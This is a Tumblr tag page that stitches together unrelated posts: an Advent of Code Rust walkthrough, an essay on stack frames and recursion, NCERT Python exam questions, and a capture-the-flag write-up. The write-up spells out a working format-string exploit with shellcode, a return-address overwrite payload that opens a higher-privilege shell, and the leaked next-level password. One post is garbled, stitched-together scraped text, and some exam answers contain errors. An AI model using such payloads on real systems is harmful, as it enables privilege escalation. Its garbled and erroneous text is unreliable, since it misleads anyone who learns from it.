#Char math python
Explore tagged Tumblr posts
starlit-sunbeam · 2 years ago
Text
Advent of Code - Days 1 and 2
December is upon us, and this year I thought I'd forgo the chocolate advent calendars in favour of Advent of Code, a coding puzzle website that's been running for a few years. Every day of advent (1st of December to 25th December) you get a coding puzzle, with personalised input data so you can't just look up on the solution online. The problems all revolve around parsing text and doing maths, so you can use whatever programming language you want. There's a global leaderboard that you can race to get on (if you feel like getting up at midnight Eastern Time), or you can just do it casually in the name of learning.
This is the third year I've participated in Advent of Code, and hopefully the first year I manage to finish it. I've decided to solve the puzzles in Rust this year, partly because it's a language I want to get better at, and partly because I really enjoy writing it, but somehow I can always find very good reasons to write the other stuff I'm working on in Python.
My code is on GitHub, and I've written programmer's commentary under the cut.
Day 1
The first day of AoC tends to be fairly straightforward, and so it is this year with a simple find-the-character problem. In each line of the input string, we find the first digit and the last digit and use them to construct a two-digit number, so for instance "se2hui89" becomes "29." We start out by loading the input data, which the Advent of Code website gives you and which I downloaded into a .txt file.
Tumblr media
include_str!() is an invaluable macro for Advent of Code players. At compile time, it will read the text file that you specify and load its contents into your program as a string. lines() is another useful function that gives you an iterator for the lines in a string - Advent of Code generally splits up its data line by line.
Since the problem itself was straightforward, I decided to liven things up a bit by creating a multi-threaded program. One thread finds the digit at the beginning of the string, and one finds the string at the end. Luckily, Rust has a lot of tools in the standard library to make concurrency easier.
Tumblr media
The particular technique I'm using here is called Multiple Producer Single Consumer, where multiple threads can send data into a channel, and a single thread (in my case, the main one) consumes the data that's being sent into it. I'm using it because I'm storing the numbers I find in a vector, and Rust's ownership system prevents more than one thread from having access to the vector, so instead each thread will send the numbers through a channel, to be processed and added to the vector in the main thread.
Tumblr media
The thread itself is very simple - for each line in the text, I iterate through the characters and test whether each one is a digit. Once I find the digit, I multiply it by ten (because it's the first digit of a two-digit number) and send it down the channel. I've also sent the index to keep track of which line I've analysed, since the other thread might be working on a different line and the consumer wouldn't be able to tell the difference. The thread looking for the last digit in the string is almost exactly the same, except it reverses the chars before iterating through them and it doesn't multiply the digit it finds by 10.
Finally, all that remained was to consume the digits and add them into the vector. When you're consuming a channel, you can use a for loop to process values from the channel until the producers stop sending values. And the index variable makes a return here, which we use to keep track of which number each digit is a part of.
Tumblr media
The addition is to combine the two digits into a single two-digit number. The vector is filled with 0s when it gets initialised, so each digit that arrives is added to 0 (if it is the first digit to arrive) or to the other digit (if it is the second digit to arrive). For instance, in the string "se29tte7", if 7 arrives first, we get 0 + 7 (7), and then when 2 arrives we add on 20 (since it has been multiplied by 10 already) to get 27, which is the correct answer.
The second task was more complicated, because now I had to be keeping track of all the non-numeric characters to see if they would eventually form the word for a number. I started by writing a function to check if a string contained a number's word.
Tumblr media
Originally, this function returned a boolean, but I needed a way to know which number that the word in the string referred to. The easiest way was to store the possible number-words in tuples, associated with the integer version of that number, and then just return that integer if a number-word was found.
Tumblr media
The match is also more complicated, because now any character that isn't a digit might be part of a number-word instead. So if the character is not a digit, I added it to the string of non-digit characters I'd found so far and checked if there was a number-word in that string. Once we find something, as before, we multiply it by ten and send it down the channel.
The other thread is similar, but unlike task 1 I couldn't simply reverse the characters, because although I have to search through them right-to-left, the number-words are still written left-to-right. I ended up using the format!() macro to prepend new characters onto the string so that they would be in the correct order.
Tumblr media
Day 2
I found Day 2's task more difficult. The trick to it lies in splitting out the different units of data - each game (separated by a line break) has multiple rounds (separated by semicolons), each round has multiple blocks (separated by commas), and each block has a colour and a count, which are separated by spaces. All of this splitting required a lot of nested for loops - three, to be exact.
But I started off by stripping off the beginning of the string which tells you what game you're playing. I realised that, since the games are in order in the input text, you don't actually need to read this value; if you're iterating through the lines of the input like I was, you can just use the index to keep track of the current game. I also made a variable to keep track of whether or not a game is possible (I assume it is until the program proves that it isn't).
Tumblr media
Mutable variables like that one make it really easy to shoot yourself in the foot. In an earlier version of the program, I changed that variable to false whenever I found an impossible block in a game. All well and good, but I forgot to prevent the variable from being changed back to true when a possible block was found in that same impossible game. As such, my code only marked games as impossible if the last round were impossible, causing it to wildly over-estimate the number of possible games.
The solution I found to that blunder involved a separate block_possible variable which I used to keep track of whether each block was possible, and then, if the block was impossible then the game would be marked as impossible. Possible blocks do nothing, because they can't account for any other blocks in that same game that might be impossible.
Tumblr media
Quick side-note - I've used a lot of panic!() and unwrap() in this solution. Just for the beginners who might not know this: in general, using those functions like this is incredibly bad practice, because they will crash the program if there's anything unexpected in the input. This program's first bug was a crash which happened because there was a single blank line in the input file that shouldn't have been there. I'm only doing this because the program is designed to work with very specific input, so I can make assumptions about certain things when I process the text.
After that little bit of pattern matching, the only thing left is to add the game's ID to the vector which is keeping track of all the possible games. Something I learned at this point is that the index variable I've been using to keep track of the game's ID has a type of usize, which isn't interchangeable with Rust's other integer types like u32 and i32, so I had to convert it explicitly.
Tumblr media
And that's that for task 1! It took me a lot of attempts to solve, because I probably should have had lunch first and made a lot of stupid mistakes, including:
Accidentally using count() where I should have used sum() on an iterator.
Badly indenting that if statement in the last image so that I was accidentally adding each ID to the list three or four times per line.
Forgetting to remove some debugging code that threw off the whole result.
But task 2 was comparatively much easier. The main difference was that instead of setting one variable to see if a game was possible, I set three variables to track the minimum number of bricks in each colour needed per game. It worked first try, but I'm not completely happy with it - in particular, I feel like this match statement was a little too verbose:
Tumblr media
But all in all I think it went well and I am excited to try my hand at tomorrow's problem.
1 note · View note
stylestonki · 3 years ago
Text
Char math python
Tumblr media
#Char math python full#
#Char math python series#
must be a sequence of string objects as well. join() is invoked on s, the separator string. S.join() returns the string that results from concatenating the objects in separated by s. With that introduction, let’s take a look at this last group of string methods. bitLen() can be modified to also provide the count of the number of set bits in the integer. bitLenCount() In common usage, the 'bit count' of an integer is the number of set (1) bits, not the bit length of the integer described above. A list is enclosed in square brackets ( ), and a tuple is enclosed in parentheses ( ()). The method using the math module is much faster, especially on huge numbers with hundreds of decimal digits. They are covered in the next tutorial, so you’re about to learn about them soon! Until then, simply think of them as sequences of values. The Unicode Standard encodes almost all standard characters used in mathematics. These are two similar composite data types that are prototypical examples of iterables in Python. Many of these methods return either a list or a tuple. You will explore the inner workings of iterables in much more detail in the upcoming tutorial on definite iteration. These methods operate on or return iterables, the general Python term for a sequential collection of objects. Methods in this group convert between a string and some composite data type by either pasting objects together to make a string, or by breaking a string up into pieces. zfill ( 6 ) '000foo' Converting Between Strings and Lists You can do this with a straightforward print() statement, separating numeric values and string literals by commas: You can specify a variable name directly within an f-string literal, and Python will replace the name with the corresponding value.įor example, suppose you want to display the result of an arithmetic calculation. One simple feature of f-strings you can start using right away is variable interpolation.
#Char math python series#
There is also a tutorial on Formatted Output coming up later in this series that digs deeper into f-strings. If you want to learn more, you can check out the Real Python article Python 3’s f-Strings: An Improved String Formatting Syntax (Guide).
#Char math python full#
The formatting capability provided by f-strings is extensive and won’t be covered in full detail here. Given an input string, return a string in which all substrings within brackets have been replicated n times, where n is the integer outside the brackets. Viewed 100 times -2 I received an interesting challenge in an algorithm Meetup. That is, in the expression 5 3, 5 is being raised to the 3rd power. Ask Question Asked 4 years, 11 months ago. This feature is formally named the Formatted String Literal, but is more usually referred to by its nickname f-string. The operator in Python is used to raise the number on the left to the power of the exponent of the right. In Python version 3.6, a new string formatting mechanism was introduced. s = 'If Comrade Napoleon says it, it must be right.' > s '.thgir eb tsum ti ,ti syas noelopaN edarmoC fI' Interpolating Variables Into a String
Tumblr media
0 notes
coentownson-blog · 6 years ago
Text
io.netgarage.org CTF Level 9 Solution
Level 9 contains an executable and with the following C source code:
#include #include int main(int argc, char **argv) { int pad = 0xbabe; char buf[1024]; strncpy(buf, argv[1], sizeof(buf) - 1); printf(buf); return 0; }
For this challenge we will exploit printf's vulnerability with format strings. Since the program calls printf directly on the buffer with no format string given we are able to enter our own format string and printf will happily apply that for us. This is especially useful when used with the %n modifier which will:
"Print nothing, but writes the number of characters successfully written so far into an integer pointer parameter." - Wikipedia
So with the write formatting we would be able to print whatever we want directly into main's return address. We already know that we will want to print the address to a shellcode env variable similar to the past few challenges but we need to figure out how to make printf target the return address first.
(gdb) info frame Stack level 0, frame at 0xbffffc50: eip = 0x80483ad in main; saved eip = 0xb7e26276 Arglist at 0xbffffc48, args: Locals at 0xbffffc48, Previous frame's sp is 0xbffffc50 Saved registers: ebp at 0xbffffc48, eip at 0xbffffc4c
From info we can see that the return address is stored at 0xbffffc4c so this is what we need to overwrite. So how do we use this printf functionality to actually overwrite our return address, lets take a look.
(gdb) r $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%8d%hn%8d%hn Starting program: /levels/level09 $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%8d%hn%8d%hn Breakpoint 1, 0x080483ee in main () (gdb) x 0xbffffc4c 0xbffffc4c: 0x002c0023
The above execution runs through the following steps. It defines 0xbffffc4e as the first half-word to be overwritten and 0xbffffc4c as the second half-word to be overwritten. Then it sets up the format string, the important parts here are the two %8d%hn sections. The %8d is the value we will be changing to create what we want to overwrite with and the %hn writes that to the addresses specified earlier. Now what actually gets written to these addresses is the number of character formats that have occured up to where the %hn is.
The next stage is to do some math to find the offsets for our payload but first we need to create and locate our env variable. See previous solutions for explaination of this step.
level9@io:/levels$ export HACKERVOICE=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"') level9@io:/levels$ /tmp/coen/getenv HACKERVOICE HACKERVOICE is at 0xbfffff24
Great so we need to create an offset of 0xff38 and then an offset of 0xbfff applied to our previous payload. To figure out the offset we will subtract 0x23 since that was the initial offset and then add back the 8 that was already in the payload. This leaves us with an offset of 65309. Now put this value into the payload and run it again to check the initial offset for our 0xbfff value.
(gdb) r $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%65309d%hn%8d%hn Starting program: /levels/level09 $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%65309d%hn%8d%hn Breakpoint 1, 0x080483ee in main () (gdb) x 0xbffffc4c 0xbffffc4c: 0xff41ff38
Now we have run into a problem where 0xbfff is lower than the current offset of 0xff41 and we can only print more values not less, we can get around this problem by modifying the value we want from 0xbfff to 0x1bfff, and since we only care about half words the extra value won't affect our solution. Doing a similar subtraction to earlier we find the second offset to be 49351, so our final payload will be:
level9@io:/levels$ /levels/level09 $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%65309d%hn%49351d%hn sh-4.3$ whoami level10 sh-4.3$ cat /home/level9/.pass UT3ROlnUqI0R2nJA
It worked! The level 10 password is UT3ROlnUqI0R2nJA
2 notes · View notes
cothers · 4 years ago
Text
The Stack
When a program starts, it granted a fixed size of memory called the stack. Since all reasonable programming languages support recursive functions, the arguments and the local variables should be allocated on the stack to preserve their values during the execution.
The most famous function to present recursion is factorial(). Let's write yet another one. For our purposes, it outputs the addresses of the arguments at the standard output.
#include <stdio.h> #include <stdlib.h> double factorial(double n) { printf("%.0f %u\n", n, &n); if (n == 0) { return 1; } else { return n * factorial(n - 1); } } int main(int argc, char* argv[]) { double d = atof(argv[1]); printf("Factorial %f is %f\n", d, factorial(d)); return 0; }
argv[1] is the first argument we supply to our program, and atof() is the standard function that converts a string to a double-precision floating-point value.
When we run the program with argument "5" it outputs:
$ ./a.out 5 5 123147368 4 123147336 3 123147304 2 123147272 1 123147240 0 123147208 Factorial 5 is 120
As you can see, the address of the argument n goes backwards by 32 bytes in each iteration. Those 32 bytes area is called "stack frame". In addition to arguments and local variables, it stores the caller's address at code segment for knowing where to go when it is time to "return".
Let's do a silly thing and add a new local variable like the following;
double factorial(double n) { char s[1000]; ...
you can observe that the stack frame is bigger now:
$ ./a.out 5 5 244948200 4 244947160 3 244946120 2 244945080 1 244944040 0 244943000 Factorial 5 is 120
Stack segment is used with a technique called LIFO (last in first out) during the execution. Let's add a new function called termial(). The name termial is invented by the famous scientist & programmer & author of many books, Donald Knuth. It is an alternative to factorial() for using addition instead of multiplication.
... double termial(double n) { printf("%.0f %u\n", n, &n); if (n == 0) { return 0; } else { return n + termial(n - 1); } } int main(int argc, char* argv[]) { double d = atof(argv[1]); printf("&argc %u Factorial %.0f is %.0f\n", &argc, d, factorial(d)); printf("&argc %u Termial %.0f is %.0f\n", &argc, d, termial(d)); ...
As you can see, the stack addresses are reused during the separate calls for first the factorial(), then the termial():
$ ./a.out 5 5 214900440 4 214900408 3 214900376 2 214900344 1 214900312 0 214900280 &argc 214900476 Factorial 5 is 120 5 214900440 4 214900408 3 214900376 2 214900344 1 214900312 0 214900280 &argc 214900476 Termial 5 is 15
5 is a little number and works like a charm. But it silently eats the stack as the recursion goes deeper. In the above program, we added the address of the argc to mark where our stack started.
214900476 - 214900280 = 196
For the argument 5, 196 bytes of stack frames are used. What if we call our function with a bigger number like 1000:
$ ./a.out 1000 ... 7 339722472 6 339722440 5 339722408 4 339722376 3 339722344 2 339722312 1 339722280 0 339722248 &argc 339754284 Termial 1000 is 500500
The difference between 339754284 and 339722248 is 32036, about 32KB. It may seem a little, but once we want the result for 1 million;
$ ./a.out 1000000 ... 738237 2777516536 738236 2777516504 738235 2777516472 738234 2777516440 738233 2777516408 738232 2777516376 Segmentation fault (core dumped)
we reached the end of the stack and crashed because the addresses below the stack are unallocated. Let's do a little math again:
1000000 - 738232 = 261768 * 32 = 8376576
As you can see, 8,376,576 bytes are used for the stack in this scenario. Academics tend to over-teach recursion during their courses, and you are "stack-overflowed" at the most unfortunate time if it is overused. The end result is almost always "flattening" the algorithm like the following:
double factorial(double n) { int i; double result; if (n < 1) { return 1; // I don't care about negative numbers } result = 1; for (i = 1; i <= n; ++i) { result *= (double)i; } return result; }
Ugly, isn't it? But it only uses a few bytes of the stack and doesn't crash. It is also faster because it avoids function call overhead which includes arranging the stack frame and jumping to start of a function. Those operations may be cheap but not free.
The stack size is fixed. Why not a growable stack? Because in the real world, recursions may not be evident as in the factorial() and sometimes a mistake by the programmer caused an infinite recursion. If the stack is somehow made growable, it can eat all the RAM trying to store useless intermediate values, and the computer is grounded to a halt. Thanks to the fixed-size stack, that kind of faults crashes the program early without killing the system.
Operating systems tend to give a default stack size for the programs. It is also possible to control stack size by other means. The first method is telling the C compiler that our program needs more (or less) stack:
$ gcc -Wl,--stack,4194304 -o program program.c
This way, the "program" will request 4MB of stack space while running. It is also possible to change it during the runtime. For Linux, setrlimit() system function is used for this purpose:
struct rlimit rl; rl.rlim_cur = 16 * 1024 * 1024; // min stack size = 16 MB; result = setrlimit(RLIMIT_STACK, &rl);
Windows' Win32 API has SetThreadStackGuarantee() function for that purpose.
Modern languages aren't exempt from stack overflows. The following Java program;
public class Xyz { private static double factorial(double n) { if (n == 0) { return 1; } else { return n * factorial(n - 1); } } public static void main(String[] args) { try { System.out.println("Factorial " + factorial(1000000)); } catch (Error e) { System.out.println(e.getClass()); } } }
also crashes with the following:
class java.lang.StackOverflowError
Usually, in a catch block, it is best to write the stack trace. But for errors like stack overflow, the stack trace is also too big to dump as-is, so we only wrote the error class to prove that it is a StackOverflowError. In practice, exceptions are dumped into the log file, and as you can guess by now, it is possible to blow your log files by bad recursion. Be careful.
Tail Call Elimination
We criticized the overuse of recursion for good reasons except that academics are not dumb. They invented a technique called "tail call elimination" to prevent unnecessary stack usage during recursion. Let's review the line that returns by calling itself in the factorial() example:
return n * factorial(n - 1);
This is clearly the last line of execution for the function. A smart implementation may decide that we don't need the stack frame here anymore, rewind the stack frame and replace the values with those we computed during the execution.
Among the popular languages only Haskell, Scala and Lua support tail call elimination. Let's write the termial function in Lua:
function termial(x) if x == 0 then return 1 else return x * termial(x - 1) end end io.write("The result is ", termial(1000000, 1), "\n")
After running the program;
$ lua ornek.lua lua: ornek.lua:5: stack overflow stack traceback: ornek.lua:5: in function 'termial' ornek.lua:5: in function 'termial'
we still got a stack overflow. To detect the need for a tail call elimination, Lua requires that the return statement call only one function. So we rewrite the termial:
function termial(x, answer) if x == 0 then return answer else return termial(x - 1, x + answer) end end
As you can see, we reduced the return statement to a single function call while adding an extra parameter to the termial() (and making it uglier).
The result is 500000500001
Supporting tail call elimination is always a heated topic among language designers. Python's founder Guido van Rossum made the most famous comment against it by telling it's "Unpythonic" in 4 points:
...when a tail recursion is eliminated, there's no stack frame left to use to print a traceback when something goes wrong later.
...the idea that TRE is merely an optimization, which each Python implementation can choose to implement or not, is wrong. Once tail recursion elimination exists, developers will start writing code that depends on it, and their code won't run on implementations that don't provide it.
...to me, seeing recursion as the basis of everything else is just a nice theoretical approach to fundamental mathematics (turtles all the way down), not a day-to-day tool.
http://neopythonic.blogspot.com/2009/04/tail-recursion-elimination.html
Multithreading
In the beginning, CPUs got faster each year. But for the last 10 or so years, they haven't got faster as quickly as once it was. In a conflicting trend, more speed is required from the hardware because of the Internet.
The industry found the solution in parallelization. More CPUs are added into the mainboards, and nowadays, the cheapest smartphone has at least 2 CPUs on it.
Each program has at least 1 thread of execution, and as we know that we have more CPUs on hand, we are encouraged to create more threads in our programs. Go programming language is created with that in mind providing first-class support for multithreading:
go f()
As you can see, it is as simple as using the "go" keyword to let the function run in another thread.
The bad news is that each thread of execution needs to have its own stack so we should take that into account while spawning many threads of execution because most languages and runtimes don't tell you much about that. In "go f()", we basically say
In C or operating system level, the stack size is taken on consideration while creating a thread. Let's see the prototype of the Win32's CreateThread() function:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
The second argument is the stack size for the thread. If you don't want to think much about it, you can just specify 0 and get as much stack your process requires. This is 1MB for most of the time, a rather massive number if you intend to create many of them. The official Win32 documentation recommends the opposite:
It is best to choose as small a stack size as possible and commit the stack needed for the thread or fiber to run reliably. Every page that is reserved for the stack cannot be used for any other purpose.
https://docs.microsoft.com/en-us/windows/win32/procthread/thread-stack-size
A thread may have a small stack segment size, but we will probably not know that while coding, especially in a big team. It is another reason to be safe and use the stack wisely.
To give modern programming languages their due, we should say that they thought hard about stack usage behind the scenes. In Go, only 2KB of stack space is reserved for their goroutines, and they grow dynamically as the program goes. Goroutines are carefully managed by Go runtime itself to avoid the possible lousy handling of threads in operating systems themselves.
Generation 0
Modern languages are most object-oriented, and they try hard to make everything object, including the strings. So it is hard to abuse their stack with a declaration like this:
char s[1000];
Most local variables do not belong to basic types like int, char, double etc., and they are allocated via the new operator. But this time the heap is abused because the burden of the stack is carried into the there. Since the heap is dynamic, to allocate and deallocate space are expensive operations. This is primarily a big problem in the early stages of the evolution of modern programming language runtimes.
The solution is found in a technique called generational garbage collection. When an object is created, it is stored in a stack-like memory space called generation 0. If the object's life-span is limited to the creator method, it is cheaply killed in there just like rewinding the stack frame. In reality, most object instances live and die this way.
To summarize, In practice, modern languages have a separate stack called "Generation 0" in .NET, "Eden" in Java, "youngest generation" in Python and so on...
#c
0 notes
margdarsanme · 5 years ago
Text
NCERT Class 12 Computer Science Chapter 1 Review of Python
NCERT Class 12 Computer Science Python Solutions for Chapter 1 :: Review of Python
TOPIC-1
Python Basics
Very Short Answer Type Questions(1 mark)
Question 1.Name the Python Library modules which need to be imported to invoke the following functions:
load ()
pow () [CBSE Delhi 2016]
Answer:
pickle
math
Question 2.Name the modules to which the following func-tions belong:
Uniform ()
fabs () [CBSE SQP 2016]
Answer:
random ()
math ()
Question 3.Differentiate between the round() and floor() functions with the help of suitable example.[CBSE Comptt. 2016]Answer:The function round() is used to convert a fractional number into whole as the nearest next whereas the function floor() is used convert to the nearest lower whole number, e.g.,round (5.8) = 6, round (4.1) = 5 and floor (6.9) = 6, floor (5.01) = 5
Short Answer Type Questions (2 marks):
Question 1.Out of the following, find those identifiers, which cannot be used for naming Variables or functions in a Python program:Total * Tax, While, Class, Switch, 3rd Row, finally, Column 31, Total. [CBSE Outside Delhi-2016]Answer:Total * Tax, class, 3rd Row, finally
Question 2.Name the Python Library modules which need to be imported to invoke the follwing functions :
sqrt()
dump() (CBSE Outside Delhi-2016)
Answer:
math
pickle
Question 3.Out of the following, find the identifiers, which cannot be used for naming Variable or Functions in a Python program: [CBSE Delhi 2016]_Cost, Price*Qty, float, switch, Address one, Delete, Number12, doAnswer:Price *Qty, float, Address one, do
Question 4.Out of the following find those identifiers, which can not be used for naming Variable or Functions in a Python Program:Days * Rent, For, A_price, Grand Total, do, 2Clients, Participantl, My cityAnswer:Illegal variables or functions name are as below: Days * Rent, do, 2Clients, For and Grant Total Because of being either keyword or including space or operator or starting with integar.
Question 5.Name the function / method required for [CBSE SQP 2015]
Finding second occurrence of m in madam.
get the position of an item in the list.
Answer:
find
index
Question 6.Which string method is used to implement the following:
To count the number of characters in the string.
To change the first character of the string in capital letter.
To check whether given character is letter or a number.
To change lowercase to uppercase letter.
Change one character into another character. [CBSE TextBook]
Answer:
len(str)
str.capitalize()
ch.isalnum()
str.upper()
str.replace(old,new)
Question 7.What is the difference between input() and raw_input()?Answer:raw_input() takes the input as a string whereas input() basically looks at what the user enters, and automatically determines the correct type. We use the inputQ function when you are expecting an integer from the end-user, and raw_input when you are expecting a string.
Question 8.What are the two ways of output using print()?Answer:Ordinarily, each print statement produces one line of output. You can end the print statement with a trailing ’ to combine the results of multiple print statements into a single line.
Question 9.Why does the expression 2 + 3*4 result in the value 14 and not the value 24?Answer:Operator precedence rules* make the expression to be interpreted as 2 + (3*4) hence the result is 14.
Question 10.How many times will Python execute the code inside the following while loop? You should answer the question without using the interpreter! Justify your answers.
i = 0 while i < 0 and i > 2 : print “Hello ...” i = i+1
Answer:0 times.
Question 11.How many times will Python execute the code inside the following while loop?
i = 1 while i < 10000 and i > 0 and 1: print “ Hello ...” i = 2 * i
Answer:14.
Question 12.Convert the following for loop into while loop, for i in range (1,100):
if i % 4 == 2 : print i, “mod”, 4 , “= 2”
Answer:
i=1 while i < 100: if i % 4 == 2: print i, “mod”, 4 , “= 2” i = i +1
Question 13.Convert the following for loop into while loop.
for i in range(10): for j in range(i): print '$', print"
Answer:
i=0 while i < 10: j=0 while j < i: print '$’ print"
Question 14.Rewrite the following for loop into while loop: [CBSE Text Book]
for a in range(25,500,25): print a
Answer:
a=25 while a < 500: print a a = a + 25
Question 15.Rewrite the following for loop into while loop: [CBSE Text Book]
for a in range(90, 9, -9): print a
Answer:
a = 90 while a > 9: print a a = a-9
Question 16.Convert the following while loop into for loop:
i = 0 while i < 100: if i % 2 == 0: print i, “is even” else: print i, “is odd” i = i + 1
Answer:
for i in range(100): if i % 2 == 0: print i, “is even” else : print i, “is odd”
Question 17.Convert the following while loop into for loop
char = "" print “Press Tab Enter to stop ...” iteration = 0 while not char == “\t” and not iteration > 99: print “Continue?” char = raw_input() iteration+ = 1
Answer:
char = "" print “Press Tab Enter to stop ...” for iteration in range(99): if not char == ‘\t’: print “Continue?” char = raw_input()
Question 18.Rewrite the following while loop into for loop:
i = 10 while i<250: print i i = i+50
Answer:
for i in range(10, 250, 50): print i
Question 19.Rewrite the following while loop into for loop:
i=88 while(i>=8): print i i- = 8
Answer:
for i in range(88, 9, -8) print i
Question 20.Write for statement to print the series 10,20,30, ……., 300Answer:
for i in range(10, 301, 10): print i
Question 21.Write for statement to print the series 105,98,91,… .7Answer:
for i in range(105, 8, -7): print i
Question 22.Write the while loop to print the series: 5,10,15,…100Answer:
i=5 while i <= 100: print i i = i + 5
Question 23.How many times is the following loop executed? [CBSE Text Book]for a in range(100,10,-10):print aAnswer:9 times.
Question 24.How many times is the following loop executed? [CBSE Text Book]
i = 100 while (i<=200): print i i + =20
Answer:6 times
Question 25.State whether the statement is True or False? No matter the underlying data type if values are equal returns true,
char ch1, ch2; if (ch1==ch2) print “Equal”
Answer:True. Two values of same data types can be equal.
Question 26.What are the logical operators of Python?Answer:or, and, not
Question 27.What is the difference between ‘/’ and ‘//’ ?Answer:
// is Integer or Floor division whereas / is normal division (eg) 7.0 // 2 → 3.0 7.0/2 → 3.5
Question 28.How can we import a module in Python?Answer:1. using import
Syntax: import[,,...] Example: import math, cmath
2. using from
Syntax: fromimport[, ,.. ,] Example: . from fib. import fib, fib2.
Question 29.What is the difference between parameters and arguments?Answer:
S.No.ParametersArguments1Values provided in function headerValues provided in function call.2(eg) def area (r):—> r is the parameter(eg) def main() radius = 5.0 area (radius)—> radius is the argument
Question 30.What are default arguments?Answer:Python allowes function arguments to have default values; if the function is called without the argument, the argument gets its default value
Question 31.What are keyword arguments?Answer:If there is a function with many parameters and we want to specify only some of them in function call,then value for such parameters can be provided by using their names instead of the positions. These are called keyword argument.
(eg) def simpleinterest(p, n=2, r=0.6) ' def simpleinterest(p, r=0.2, n=3)
Question 32.What are the advantages of keyword arguments?Answer:It is easier to use since we need not remember the order of the arguments.We can specify the values for only those parameters which we want, and others have default values.
Question 33.What does “in” do?Answer:“in” is a membership operator. It evaluates to true if it finds a variable/string in the specified sequence :Otherwise i+evaluates to false.
(eg) S = “Hello World" if “Hell” in S: print “True” will print True.
Question 34.What does “not in” do?Answer:“not in” is a membership operator. It evaluates to true if it does not finds a variable/stringin the specified sequence. Otherwise it evaluates to false,
(eg) S = “Hello World” if “Hell” not in S: print “False” will print False.
Question 35.What does “slice” do?Answer:The slice[n:m] operator extracts subparts from a string. It doesn’t include the character at index m.
(eg) S = “Hello World” print s[0:4] → Hell
Question 36.What is the use of negative indices in slicing?Answer:Python counts from the end (right) if negative indices are given.
(eg) S = “Hello” print S[:-3] >> He print S[-3:] >> llo
Question 37.Explain find() function?Answer:find (sub[,start[,end]])This function is used to search the first occurrence of the substring in the given string.It returns the index at which the substring starts. It returns -1 if the substring doesn’t occur in the string.
(eg) str = “computer” - str.findf("om”) → 1
Question 38.What are the differences between arrays and lists?Answer:An array holds fixed number of values. List is of variable-length – elements can be dynamically added or removedAn array holds values of a single type. List in Python can hold values of mixed data type.
Question 39.What is the difference between a tuple and a list?Answer:A tuple is immutable whereas a list is a mutable.A tuple cannot be changed whereas a list can be changed internally.A tuple uses parenthess (()) whereas a list uses square brackets ([]).tuple initialization: a = (2, 4, 5)list initialization: a = [2, 4, 5]
Question 40.Carefully observe the following python code and answer the question that follows:x=5def func2():x=3global xx=x+1print xprint xOn execution the above code produces the following output.63Explain the output with respect to the scope of the variables.Answer:Names declared with global keyword have to be referred at the file level. This is because the global scope.If no global statement is being used the variable with the local scope is accessed.Hence, in the above code the statement succeeding the statement global x informs Python to incrementthe global variable xHence, the output is 6 i.e. 5 + 1 which is also the value for global x.When x is reassingned with the value 3 the local x hides the global x and hence 3 printed.(2 marks for explaning the output) (Only 1 mark for explaining global and local namespace.)
Question 41.Explain the two strategies employed by Python for memory allocation. [CBSE SQP 2016]Answer:Pythonuses two strategies for memory allocation-(i) Reference counting(ii) Automatic garbage collectionReference Counting: works by counting the number of times an object is referenced by other in the system.When an object’s reference count reaches zero, Python collects it automatically.Automatic Garbage Collection: Python schedules garbage collection based upon a threshold of object allocations and object deallocations. When the number of allocations minus the number of deallocations are greater that the threshold number, the garbage collector is run and the unused blocks of memory is reclaimed.
TOPIC – 2Writing Python Programs
Question 1.Rewrite the following code in Python after removing all syntax errors(s). Underline each correction done in the code. [CBSE Delhi-2016]for Name in [Amar, Shveta, Parag]if Name [0] = ‘s’:Print (Name)Answer:
for Name in [“_Amar”, ”_Shveta_” , "_Parag_”] : if Name [0] E == ‘S’ : Print (Name)
Question 2.Rewrite the following code is Python after removing all syntax errors(s).Underline each correction done in the code. [CBSE Outside Delhi-2016]for Name in [Ramesh, Suraj, Priya]if Name [0] = ‘S’:Print (Name)Answer:
for Name in [“_Ramesh_”, “_Suraj_” , “_Priya_”] if Name [0] =_=‘S’ : print (Name)
Question 3.What will be the output of the following python code considering the following set of inputs?AMARTHREEA1231200Also, explain the try and except used in the code.Start = 0while True :Try:Number = int (raw input (“Enter Number”))breakexcept valueError : start=start+2print (“Re-enter an integer”)Print (start)Answer:Output:
Enter Number AMAR Re-enter an integer Enter Number THREE Re-enter an integer Enter Number A123 Re-enter an integer Enter Number 12006
Explanation : The code inside try makes sure that the valid number is entered by the user.When any input other an integer is entered, a value error is thrown and it prompts the user to enter another value.
Question 4.Give the output of following with justification. [CBSE SQP 2015]
x = 3 x+ = x-x print x
Answer:Output: 3Working:
x = 3 x = (x+ x-x ):x = 3 + 3 - 3 = 3
Question 5.What will be printed, when following Python code is executed? [CBSE SQP 2015]
class person: def init (self,id): self.id = id arjun = person(150) arjun. diet [‘age’] = 50 print arjun.age + len(arjun. diet )
Justify your answer.Answer:52arjun.age = 50arjun.dict has 2 attributes so length of it is 2. So total = 52.
Question 6.What would be the output of the following code snippets?print 4+9print “4+9”Answer:13 (addition), 49 (concatenation).
Question 7.Highlight the literals in the following programand also predict the output. Mention the types ofvariables in the program.
a=3 b='1' c=a-2 d=a-c e=“Kathy” f=‘went to party.’ g=‘with Sathy’ print a,g,e,f,a,g,“,”,d,g,“,”,c,g,“and his”,e,f
Answer:a, c,d = integerb, e,f,g = stringOutput: 3 with Sathy Kathy, went to party. 3 with Sathy, 2 with Sathy , 1 with Sathy and his Kathy, went to party.
Question 8.What is the result of 4+4/2+2?Answer:4 + (4/2) + 2 = 8.
Question 9.Write the output from the following code: [CBSE Text Book]
x= 10 y = 20 if (x>y): print x+y else: print x-y
Answer:– 10
Question 10.Write the output of the following code:print “Python is an \n interpreted \t Language”Answer:Python is an interpreted Language
Question 11.Write the output from the following code:
s = 0 for I in range(10,2,-2): s+=I print “sum= ",s
Answer:sum= 28
Question 12.Write the output from the following code: [CBSE TextBook]
n = 50 i = 5 s = 0 while i<n: s+ = i i+ = 10 print “i=”,i print “sum=”,s
Answer:
